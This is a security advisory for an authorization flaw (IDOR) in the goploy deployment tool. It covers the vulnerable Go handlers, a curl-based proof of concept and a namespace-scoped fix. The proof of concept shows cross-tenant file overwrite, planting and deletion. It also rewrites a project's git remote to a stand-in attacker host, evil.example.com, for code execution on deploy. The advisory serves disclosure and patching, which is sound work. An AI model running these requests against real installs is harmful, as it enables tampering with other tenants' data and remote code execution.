PT-2026-56305 · Go · Github.Com/Zhenorzz/Goploy

Publicado

2026-07-07

Atualizado

2026-07-07

CVE-2026-53552

CVSS v3.1

9.6

Crítica

Vetor

AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Summary

Project.AddFile, Project.EditFile, Project.RemoveFile, and Project.Edit in cmd/server/api/project/handler.go accept a project or project-file row id from the JSON body and act on it without checking that the project belongs to the caller's namespace. The corresponding model.ProjectFile.GetData and model.Project.GetData queries filter only by row id. A user holding the manager role (or any role that includes the FileSync / EditProject permission) in their own namespace can read, write, or delete files in any project across the install, and can rewrite any project's git remote URL by submitting the foreign id in the body. The git-URL primitive escalates to RCE on the next deploy because Edit runs git remote set-url on the project's working tree.

Affected

zhenorzz/goploy develop HEAD as of 2026-05-27. Verified against the zhenorzz/goploy:1.17.5 Docker image (docker.io/zhenorzz/goploy@sha256:69d08e1d16d7a7167426c89456c4bcef8e077a16554a4067ff258fff26d5cd44).

The four handlers and the model lookups have been in this shape across the file API and project metadata API.

Vulnerable code

cmd/server/api/project/handler.go::AddFile (creates file under any project's directory; body controls projectId):

func (Project) AddFile(gp *server.Goploy) server.Response {
  type ReqData struct {
    ProjectID int64 `json:"projectId" validate:"required,gt=0"`
    Content  string `json:"content" validate:"required"`
    Filename string `json:"filename" validate:"required"`
  }
  var reqData ReqData
  if err := gp.Decode(&reqData); err != nil { ... }

  filePath := path.Join(config.GetProjectFilePath(reqData.ProjectID), reqData.Filename)
  // ... os.Create(filePath); file.WriteString(reqData.Content)
  id, err := model.ProjectFile{ProjectID: reqData.ProjectID, Filename: reqData.Filename}.AddRow()
}

cmd/server/api/project/handler.go::EditFile (overwrites file content; body controls file id, server derives project from the file row):

func (Project) EditFile(gp *server.Goploy) server.Response {
  type ReqData struct {
    ID   int64 `json:"id" validate:"required,gt=0"`
    Content string `json:"content" validate:"required"`
  }
  var reqData ReqData
  if err := gp.Decode(&reqData); err != nil { ... }

  projectFileData, err := model.ProjectFile{ID: reqData.ID}.GetData()
  // ... os.Create(path.Join(config.GetProjectFilePath(projectFileData.ProjectID), projectFileData.Filename))
  file.WriteString(reqData.Content)
}

cmd/server/api/project/handler.go::RemoveFile (deletes file row + on-disk file by body id):

func (Project) RemoveFile(gp *server.Goploy) server.Response {
  type ReqData struct {
    ProjectFileID int64 `json:"projectFileId" validate:"required,gt=0"`
  }
  var reqData ReqData
  if err := gp.Decode(&reqData); err != nil { ... }
  projectFileData, err := model.ProjectFile{ID: reqData.ProjectFileID}.GetData()
  if err := os.Remove(path.Join(config.GetProjectFilePath(projectFileData.ProjectID), projectFileData.Filename)); err != nil { ... }
}

cmd/server/api/project/handler.go::Edit (updates any project's metadata; on URL change runs git remote set-url in the project working tree):

func (Project) Edit(gp *server.Goploy) server.Response {
  // ... ReqData has ID, Name, URL, Branch, Script, etc.
  projectData, err := model.Project{ID: reqData.ID}.GetData()
  model.Project{ID: reqData.ID, Name: reqData.Name, URL: reqData.URL, ...}.EditRow()
  if reqData.URL != projectData.URL {
    srcPath := config.GetProjectPath(projectData.ID)
    cmd := exec.Command("git", "remote", "set-url", "origin", reqData.URL)
    cmd.Dir = srcPath
  }
}

internal/model/project file.go::ProjectFile.GetData filters only by row id, no namespace join:

func (pf ProjectFile) GetData() (ProjectFile, error) {
  err := sq.
    Select("id, project id, filename, insert time, update time").
    From(projectFileTable).
    Where(sq.Eq{"id": pf.ID}).
    ...
}

internal/server/route.go::Route.hasPermission checks only namespace-level permission ids; nothing in the request flow verifies that the body-supplied project id belongs to gp.Namespace.ID:

func (r Route) hasPermission(permissionIDs map[int64]struct{}) error {
  if len(r.permissionIDs) == 0 { return nil }
  for , permissionID := range r.permissionIDs {
    if , ok := permissionIDs[permissionID]; ok { return nil }
  }
  return errors.New("no permission")
}

Reachable

Any logged-in user assigned the manager role in their own namespace can call /project/addFile, /project/editFile, /project/removeFile, and /project/edit. The seeded manager role (role.id = 1) is granted both FileSync (permission.id = 68) and EditProject (permission.id = 17) by database/goploy.sql. Multi-tenant deployments typically assign manager to each tenant's project owner; once a tenant's manager holds these permissions in their own namespace, they hold them globally for these four endpoints.

Proof of concept

Setup against the published Docker image:

bash

docker network create goploy-net
docker run -d --name goploy-mysql --network goploy-net 
  -e MYSQL ROOT PASSWORD=goploy123 -e MYSQL DATABASE=goploy 
  mysql:8.0 --default-authentication-plugin=mysql native password

# Wait for MySQL, then load schema
docker cp database/goploy.sql goploy-mysql:/tmp/goploy.sql
docker exec goploy-mysql sh -c 'mysql -uroot -pgoploy123 goploy < /tmp/goploy.sql'

# Mount goploy.toml pointing DB at goploy-mysql:3306
docker run -d --name goploy-app --network goploy-net -p 18080:80 
  -v $PWD/repo:/opt/goploy/repository 
  zhenorzz/goploy:1.17.5

Set up two namespaces and two non-super-manager users, each assigned manager (role id=1) only in their own namespace:

bash

# Admin login (default account admin / admin!@# requires first-login change)
curl -s -c /tmp/admin.jar -X POST http://localhost:18080/user/login 
  -H 'Content-Type: application/json' 
  -d '{"account":"admin","password":"admin!@#","newPassword":"Admin!@#2026"}'

ADMIN HDR='-b /tmp/admin.jar -H G-N-ID:1 -H Content-Type:application/json'

# Create NS B
curl -s $ADMIN HDR -X POST http://localhost:18080/namespace/add -d '{"name":"ns b"}'
# → {"data":{"id":2}}

# Create alice (id=2) and bob (id=3)
curl -s $ADMIN HDR -X POST http://localhost:18080/user/add 
  -d '{"account":"alice","password":"Alice!@#2026","name":"Alice","contact":"","superManager":0}'
curl -s $ADMIN HDR -X POST http://localhost:18080/user/add 
  -d '{"account":"bob","password":"Bob!@#2026","name":"Bob","contact":"","superManager":0}'

# Assign alice → NS A (id=1), bob → NS B (id=2), both as manager (role id=1)
curl -s $ADMIN HDR -X POST http://localhost:18080/namespace/addUser 
  -d '{"namespaceId":1,"userIds":[2],"roleId":1}'
curl -s $ADMIN HDR -X POST http://localhost:18080/namespace/addUser 
  -d '{"namespaceId":2,"userIds":[3],"roleId":1}'

# As admin in NS A, create project alice-prod (id=1) with file alice-secrets.yml (id=1)
curl -s $ADMIN HDR -X POST http://localhost:18080/project/add 
  -d '{"name":"alice-prod","repoType":"git","url":"https://github.com/zhenorzz/goploy.git",
     "path":"/tmp/deploy/alice","environment":1,"branch":"master","transferType":"rsync",
     "transferOption":"-rtv","deployServerMode":"serial",
     "script":{"afterPull":{"mode":"","content":""},"afterDeploy":{"mode":"","content":""},
          "deployFinish":{"mode":"","content":""}}}'
curl -s $ADMIN HDR -X POST http://localhost:18080/project/addFile 
  -d '{"projectId":1,"filename":"alice-secrets.yml","content":"# Alice secret
api key: ALICE API KEY 2026
"}'

# Bob logs in (first-login change)
curl -s -c /tmp/bob.jar -X POST http://localhost:18080/user/login 
  -H 'Content-Type: application/json' 
  -d '{"account":"bob","password":"Bob!@#2026","newPassword":"BobBob!@#2026"}'

BOB HDR='-b /tmp/bob.jar -H G-N-ID:2 -H Content-Type:application/json'

Negative control: Bob's own namespace has no projects.

bash

curl -s $BOB HDR "http://localhost:18080/project/getList?page=1&rows=100"
# → {"code":0,"data":{"list":[]}}

Exploit 1 — Bob overwrites Alice's file content:

bash

curl -s $BOB HDR -X PUT http://localhost:18080/project/editFile 
  -d '{"id":1,"content":"OWNED BY BOB
attacker namespace: ns b
"}'
# → {"code":0,"message":"","data":null}

docker exec goploy-app cat /opt/goploy/repository/repository/project-file/project 1/alice-secrets.yml
# OWNED BY BOB
# attacker namespace: ns b

Exploit 2 — Bob plants a new file in Alice's project directory:

bash

curl -s $BOB HDR -X POST http://localhost:18080/project/addFile 
  -d '{"projectId":1,"filename":".env.attacker","content":"PWN=bob from ns b"}'
# → {"code":0,"message":"","data":{"id":2}}

docker exec goploy-app ls /opt/goploy/repository/repository/project-file/project 1/
# .env.attacker  alice-secrets.yml

Exploit 3 — Bob deletes Alice's file:

bash

curl -s $BOB HDR -X DELETE http://localhost:18080/project/removeFile 
  -d '{"projectFileId":1}'
# → {"code":0,"message":"","data":null}
# alice-secrets.yml is gone from project 1/.

Exploit 4 — Bob rewrites Alice's project git remote URL. On the next deploy, goploy runs git -C <alice-prod-tree> remote set-url origin <attacker-url> and clones / pulls attacker code, leading to RCE under goploy's user:

bash

curl -s $BOB HDR -X PUT http://localhost:18080/project/edit 
  -d '{"id":1,"name":"alice-prod","repoType":"git",
     "url":"git@evil.example.com:attacker/payload.git",
     "path":"/tmp/deploy/alice","environment":1,"branch":"master",
     "transferType":"rsync","transferOption":"-rtv","deployServerMode":"serial",
     "script":{"afterPull":{"mode":"","content":""},"afterDeploy":{"mode":"","content":""},
          "deployFinish":{"mode":"","content":""}}}'
# → {"code":0,"message":"","data":null}

docker exec goploy-mysql mysql -uroot -pgoploy123 goploy 
  -e "SELECT name,url FROM project WHERE id=1;"
# alice-prod | git@evil.example.com:attacker/payload.git

Positive control: Bob editing a file in his own namespace (after creating one) goes through the same code path and succeeds normally — the patch must keep that working.

Suggested fix

Add a namespace-scoped variant of GetData so the model layer requires (id, namespace id) and switch the four handlers over.

internal/model/project file.go:

func (pf ProjectFile) GetDataInNamespace(namespaceID int64) (ProjectFile, error) {
  var projectFile ProjectFile
  err := sq.
    Select("pf.id, pf.project id, pf.filename, pf.insert time, pf.update time").
    From(projectFileTable + " pf").
    Join("project p ON p.id = pf.project id").
    Where(sq.Eq{"pf.id": pf.ID, "p.namespace id": namespaceID}).
    RunWith(DB).
    QueryRow().
    Scan(&projectFile.ID, &projectFile.ProjectID, &projectFile.Filename,
       &projectFile.InsertTime, &projectFile.UpdateTime)
  return projectFile, err
}

internal/model/project.go: add a parallel Project.GetDataInNamespace that joins on namespace id.

cmd/server/api/project/handler.go:

EditFile and RemoveFile switch to model.ProjectFile{ID: ...}.GetDataInNamespace(gp.Namespace.ID).
AddFile calls a new model.Project{ID: reqData.ProjectID}.GetDataInNamespace(gp.Namespace.ID) precheck before os.Create and AddRow.
Edit calls model.Project{ID: reqData.ID}.GetDataInNamespace(gp.Namespace.ID) before EditRow.

sql.ErrNoRows from the namespace-scoped lookup becomes the correct denial for any cross-namespace id. The same pattern should be applied to other body-id consumers in this file (Remove, SetAutoDeploy, UploadFile, AddTask, EditProcess, etc.) but the four endpoints above are the immediately exploitable ones.

Patch

Fix proposed in https://github.com/zhenorzz/goploy-ghsa-26rh-24rg-j3vv/pull/1. The PR diff adds the namespace-scoped model variants and switches the four exposed handlers to use them.

Credit

Reported by tonghuaroot.

Correção

IDOR

Incorrect Authorization

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Enumeração de Fraquezas

CWE-639CWE-863

Identificadores relacionados

CVE-2026-53552

GHSA-26RH-24RG-J3VV

Produtos afetados

Github.Com/Zhenorzz/Goploy

PT-2026-56305 · Go · Github.Com/Zhenorzz/Goploy

CVE-2026-53552

Summary

Affected

Vulnerable code

Reachable

Proof of concept

Suggested fix

Patch

Credit

Enumeração de Fraquezas

Identificadores relacionados

Produtos afetados

Referências · 3